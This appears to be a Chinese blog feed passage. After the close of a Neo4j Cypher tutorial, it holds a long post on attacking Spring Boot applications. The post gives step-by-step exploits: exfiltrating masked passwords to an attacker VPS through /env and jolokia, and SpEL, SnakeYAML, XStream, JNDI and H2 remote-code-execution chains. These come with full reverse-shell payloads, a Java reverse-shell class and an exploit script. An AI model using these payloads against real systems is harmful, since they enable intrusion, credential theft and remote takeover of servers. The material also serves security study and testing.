  • CREATE（和DELETE）：创建（和删除）节点和关系。
  • SET（和REMOVE）：为属性设置值并在节点上添加标签 usingSET和 useREMOVE删除它们。
  • MERGE：匹配现有的或创建新的节点和模式。这与独特的约束一起特别有用。

这是一个更新图表的示例，将聚合数据写入图表：

1
2
3
4
MATCH (n {name: 'John'})-[:FRIEND]-(friend)
WITH n, count(friend) AS friendsCount
SET n.friendsCount = friendsCount
RETURN n

image-20220714154820494

路径匹配

Neo4j Cypher利用关系同构进行路径匹配，是减少结果集大小和防止无限遍历的非常有效的方法。在 Neo4j 中，所有关系都有一个方向。

同态：如果查询正在寻找长度路径n并且不关心方向，n则将返回一个长度路径，一遍又一遍地重复两个节点。

例如，查找所有具有 5 个关系的路径并且不关心关系方向：

1
2
3
4
MATCH p = ()-[*5]-()
RETURN nodes(p)

如果使用同态，这将返回两个结果记录[a,b,a,b,a,b]，以及[b,a,b,a,b,a]。

节点同构：对于每个路径匹配记录，不能多次返回同一节点。

在另一个双节点示例中，例如(a:Node)-[r:R]->(b:Node); 使用节点同构约束只能找到长度为 1 的路径。

1
2
3
4
MATCH p = ()-[*1]-()
RETURN nodes(p)

如果使用节点同构，这将返回两个结果记录[a, b]，以及[b, a]。

关系同构：对于每个路径匹配记录，不能多次返回相同的关系。

在另一个双节点示例中，例如(a:Node)-[r:R]->(b:Node); 使用关系同构约束只能找到长度为 1 的路径。

1
2
3
4
MATCH p = ()-[*1]-()
RETURN nodes(p)

这将返回两个结果记录[a, b]，以及[b, a].

Cypher 利用关系同构进行路径匹配：寻找用户朋友的朋友，并且不能返回用户本身。创建如下数据

1
2
3
4
5
6
CREATE
  (adam:User {name: 'Adam'}),
  (pernilla:User {name: 'Pernilla'}),
  (david:User {name: 'David'}),
  (adam)-[:FRIEND]->(pernilla),
  (pernilla)-[:FRIEND]->(david)

寻找Adam朋友的朋友

1
2
MATCH (user:User {name: 'Adam'})-[r1:FRIEND]-()-[r2:FRIEND]-(friend_of_a_friend)
RETURN friend_of_a_friend.name AS fofName

image-20220714161410979

如果查询应该返回用户，则可以将匹配分布在多个MATCH子句中，如下所示：

1
2
3
MATCH (user:User {name: 'Adam'})-[r1:FRIEND]-(friend)
MATCH (friend)-[r2:FRIEND]-(friend_of_a_friend)
RETURN friend_of_a_friend.name AS fofName

目前先看到这，后续的语法学完之后再补充。

参考

https://neo4j.com/docs/

]]> <meta name="referrer" content="no-referrer"/> <h3 id="入门指南"><a href="#入门指南" class="headerlink" title="入门指南"></a>入门指南</h3><h4 id="Neo4j"><a href="#Neo4j" class="headerlink" title="Neo4j"></a>Neo4j</h4><p>Neo4j 是世界领先的图形数据库。该架构旨在优化管理、存储和遍历节点和关系。图数据库采用属性图方式，对遍历性能和操作运行时间都有好处。</p> SpringBoot相关漏洞学习 https://kpa1on.github.io/2022/06/26/SpringBoot%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/ 2022-06-25T18:59:40.000Z 2022-09-29T17:46:40.973Z

SpringBoot 相关漏洞的学习

路由知识

  • spring的根路径有时候设定为/manage、/management、项目app路径
  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ，2.x 版本则统一以 /actuator 为起始路径
  • Spring Boot Actuator 默认的内置路由名字有时会被修改

信息泄露

开发人员么有意识到地址泄露会产生安全隐患，或者说项目从测试环境切换为开发环境时，开发人员忘记修改配置文件等。

路由地址及接口调用详情泄漏

Swagger相关

swagger相关的路径：

1
2
/v2/api-docs
/swagger-ui.html

还会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口的路径：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Actuator相关

spring boot actuator 相关的路由如下：

1
2
3
4
5
6
7
8
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
druid相关

druid的相关路径如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
html:
/druid/index.html             #Druid Index
/druid/sql.html               #Druid sql监控页面
/druid/weburi.html            #Druid Web URI监控页面
/druid/websession.html        #Druid Web Session监控页面

json:
/druid/weburi.json            #Druid Web URI json
/druid/websession.json        #Druid Web Session json

Druid 登录接口：
/druid/login.html            #Druid登录认证页面

其他：
/system/druid/login.html
/webpage/system/druid/login.html
/druid/datasource.html
/druid/wall.html
/druid/webapp.html
/system/druid/websession.html
/webpage/system/druid/websession.html
/druid/spring.html
/druid/api.html

暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞，但攻击者可以通过审计暴露出的接口以增加对业务系统的了解，并会检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

配置不当而暴露的路由

可能因为配置不当而暴露的默认内置路由可能会有：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/gateway
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/actuator/gateway
/actuator/gateway/routes

对于暴露的路由，有几个值得我们去关注：

  • /env、/actuator/env

​ GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等 信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文；

​ 同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

  • /refresh、/actuator/refresh

​ POST 请求 /env 接口设置属性后，可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

  • /restart、/actuator/restart

​ 暴露出此接口的情况较少；可以配合 POST请求 /env 接口设置属性后，再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

  • /jolokia、/actuator/jolokia

​ 可以通过 /jolokia/list 接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

  • /trace、/actuator/httptrace

​ 一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie、jwt token 等信息。

获取被星号脱敏的密码的明文

访问 /env 接口时，spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

方法一

利用条件：

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖（请求/jolokia/list接口有数据就说明引用了）

利用方法：

步骤一：找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口，搜索 ****** 关键词，找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二：jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名，直接发包；明文值结果包含在 response 数据包中的 value 键中。

  • 调用 org.springframework.boot Mbean

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

1
2
3
4
POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

1
2
3
4
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

测试读取星号脱敏的数据库密码password

image-20220626015318831

成功读取

image-20220626014907676

  • 调用 org.springframework.cloud.context.environment Mbean

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法，需要项目配置有spring cloud相关的依赖

spring 1.x

1
2
3
4
POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

1
2
3
4
POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","op

测试如下

image-20220626015237144

  • 调用其他Mbean
方法二

利用条件：

  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目标可以请求攻击者的服务器（请求可出外网）

利用方法：

步骤一：找到想要获取的属性名

步骤二：使用nc监听 HTTP 请求

例如，在vps上监听80端口：

1
nc -lvk 80

步骤三：设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名；your-vps-ip 换成自己外网服务器的真实 ip 地址。

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

步骤四：刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

步骤五：解码属性值

此时 nc 监听的服务器会收到目标发来的请求，其中包含类似如下 Authorization 头内容：

1
Authorization: Basic dmFsdWU6MTIzNDU2

将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码，即可获得类似明文值 value:123456，其中的 123456 即是目标星号 * 脱敏前的属性值明文。

测试：

vps监听80端口，并通过post方式向/env接口设置如下值

image-20220626015529934

再post请求/refresh接口即可在vps上看到请求信息

image-20220626015602947

解密base64编码值

image-20220626015619429

方法三

利用条件：

  • 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
  • 目标可以请求攻击者的服务器（请求可出外网）

利用方法：

步骤一：找到想要获取的属性名

步骤二：使用nc监听 HTTP 请求

在vps上监听80端口：

1
nc -lvk 80

步骤三：触发对外 http 请求

  • spring.cloud.bootstrap.location 方法（适用于明文数据中有特殊 url 字符的情况）

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

测试：

image-20220626015657074

请求/refresh接口，vps接收到外带的请求，成功带出属性值

image-20220626020436695

  • eureka.client.serviceUrl.defaultZone 方法（不适用于明文数据中有特殊 url 字符的情况）

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

测试：

image-20220626015730753

vps监听到请求

image-20220626015708272

如果读取的属性值中存在特殊字符时，可能会出现读取不全的情况，如下：

image-20220626015803160

实际设置的密码是

image-20220626020549710

步骤四：刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json
方法四

利用条件：

  • 可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口

利用方法：

步骤一：找到想要获取的属性名

步骤二：下载 jvm heap 信息

下载的 heapdump 文件大小通常在 50M—500M 之间

步骤三：使用 MAT 获得 jvm heap中的密码明文

通过查询如下语法，获取heapdump文件中所有包含”password”属性的值

1
2
3
4
5
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

或

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
  • 还可以采用 heapdump_tool 命令行方式一键查询，更加方便

远程代码执行

whitelabel error page SpEL RCE

利用条件：

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法：

步骤一：找到一个正常传参处

比如发现访问 /article?id=xxx ，页面会报状态码为 500 的错误： Whitelabel Error Page。

步骤二：执行SpEL表达式

输入 /article?id=${7*7} ，如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上，那么基本可以确定目标存在 SpEL 表达式注入漏洞。

为了方便执行java代码，先将字符串格式转换成0x** java 字节形式。

1
2
3
4
5
6
7
# coding: utf-8

result = ""
target = 'calc'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

执行 calc 命令

1
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

测试结果如下：

image-20220626020617831

漏洞原理：

  1. spring boot 处理参数值出错，流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行，造成 RCE 漏洞

spring cloud SnakeYAML RCE

利用条件：

  • 可以 POST 请求目标网站 /env 接口设置属性
  • 可以 POST 请求目标网站 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

利用方法：

步骤一：托管 yml 和 jar文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 example.yml，内容如下：

1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

在网站根目录下放置后缀为 jar 的文件 example.jar，内容是要执行的代码，代码编写及编译方式参考 yaml-payload。

步骤二：设置 spring.cloud.bootstrap.location 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

步骤三：刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

测试：

POST设置属性

image-20220626020637203

vps监听80端口，刷新配置-请求 /refresh 接口，即可触发RCE

image-20220626020650368

image-20220626020853440

漏洞原理：

  1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
  2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件，获得其内容
  3. SnakeYAML 由于存在反序列化漏洞，所以解析恶意 yml 内容时会完成指定的动作
  4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
  5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
  6. 实例化类时执行恶意代码，造成 RCE 漏洞

eureka xstream deserialization RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
  • 目标使用的 eureka-client < 1.8.7（通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中）
  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

步骤一：架设响应恶意XStream payload网站

提供一个依赖 Flask 并符合要求的python脚本，作用是利用目标 Linux 机器上自带的 python 来反弹shell。

使用 python 在自己控制的服务器上运行以上的脚本，并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

command，标签中编写要执行的命令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

步骤二：监听反弹shell的端口

一般使用 nc 监听端口，等待反弹 shell

1
nc -lvp 443

步骤三：设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

步骤四：刷新配置

spring 1.x

1
2
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/refresh
Content-Type: application/json

测试：

POST设置属性值

image-20220626021217346

vps上运行python脚本

image-20220626021321200

这里测试弹出计算器成功

image-20220626021352878

jolokia logback JNDI RCE

利用条件：

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖（版本要求暂未知）并且环境中存在相关 MBean
  • 目标可以请求攻击者的 HTTP 服务器（请求可出外网）
  • 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过

利用方法：

步骤一：查看已存在的 MBeans

访问 /jolokia/list 接口，查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。

步骤二：托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件，内容如下：

1
2
3
<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

步骤三：准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java，

使用兼容低版本 jdk 的方式编译：

1
javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤四：架设恶意 ldap 服务

下载 marshalsec ，使用下面命令架设对应的 ldap 服务：

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

1
nc -lv 443

步骤六：从外部 URL 地址加载日志配置文件

⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求，但是目标没有请求 JNDIObject.class，大概率是因为目标环境的 jdk 版本太高，导致 JNDI 利用失败。

替换实际的 your-vps-ip 地址访问 URL 触发漏洞：

1
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

测试：

访问URL

image-20220626021601495

HTTP 服务看到请求记录

image-20220626021543950

marshalsec 也接收到了目标请求

image-20220626021619867

漏洞原理：

  1. 直接访问可触发漏洞的 URL，相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址，获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签，设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器，导致 JNDI 注入，造成 RCE 漏洞

jolokia Realm JNDI RCE

利用条件：

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖（版本要求暂未知）并且环境中存在相关 MBean
  • 目标可以请求攻击者的服务器（请求可出外网）
  • 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u141/7u131/8u121(RMI)，但相关环境可绕过

利用方法：

步骤一：查看已存在的 MBeans

访问 /jolokia/list 接口，查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。

步骤二：准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的java代码JNDIObject.java。

步骤三：托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四：架设恶意 rmi 服务

下载 marshalsec ，使用下面命令架设对应的 rmi 服务：

1
2
3
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://42.194.149.25:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口

一般使用 nc 监听端口，等待反弹 shell

1
nc -lvp 443

步骤六：发送恶意 payload

根据实际情况修改 springboot-realm-jndi-rce.py 脚本中的目标地址，RMI 地址、端口等信息，然后在自己控制的服务器上运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://127.0.0.1:9094/jolokia'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://vps-ip:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

测试：

JNDIObject.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

命令执行成功

image-20220626021705177

HTTP 服务受到请求

image-20220626022312573

marshalsec 也接收到了目标请求

image-20220626021741930

漏洞原理：

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
  2. 设置 connectionURL 地址为 RMI Service URL
  3. 设置 contextFactory 为 RegistryContextFactory
  4. 停止 Realm
  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入，造成 RCE 漏洞

restart h2 database query RCE

利用条件：

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 存在 com.h2database.h2 依赖（版本要求暂未知）

步骤一：设置 spring.datasource.hikari.connection-test-query 属性

⚠️ 下面payload 中的 ‘T5’ 方法每一次执行命令后都需要更换名称 (如 T6) ，然后才能被重新创建使用，否则下次 restart 重启应用时漏洞不会被触发

spring 1.x（无回显执行命令）

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x（无回显执行命令）

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

步骤二：重启应用

spring 1.x

1
2
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
POST /actuator/restart
Content-Type: application/json

测试：

POST 设置属性值

image-20220626022352954

请求 /restart 接口，即可触发

image-20220626022403101

漏洞原理：

  1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 CREATE ALIAS 创建自定义函数的 SQL 语句
  2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置，定义一个新数据库连接之前被执行的 SQL 语句
  3. restart 重启应用，会建立新的数据库连接
  4. 如果 SQL 语句中的自定义函数还没有被执行过，那么自定义函数就会被执行，造成 RCE 漏洞

h2 database console JNDI RCE

利用条件：

  • 存在 com.h2database.h2 依赖（版本要求暂未知）
  • spring 配置中启用 h2 console spring.h2.console.enabled=true
  • 目标可以请求攻击者的服务器（请求可出外网）
  • JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1（LDAP 方式）

利用方法：

步骤一：访问路由获得 jsessionid

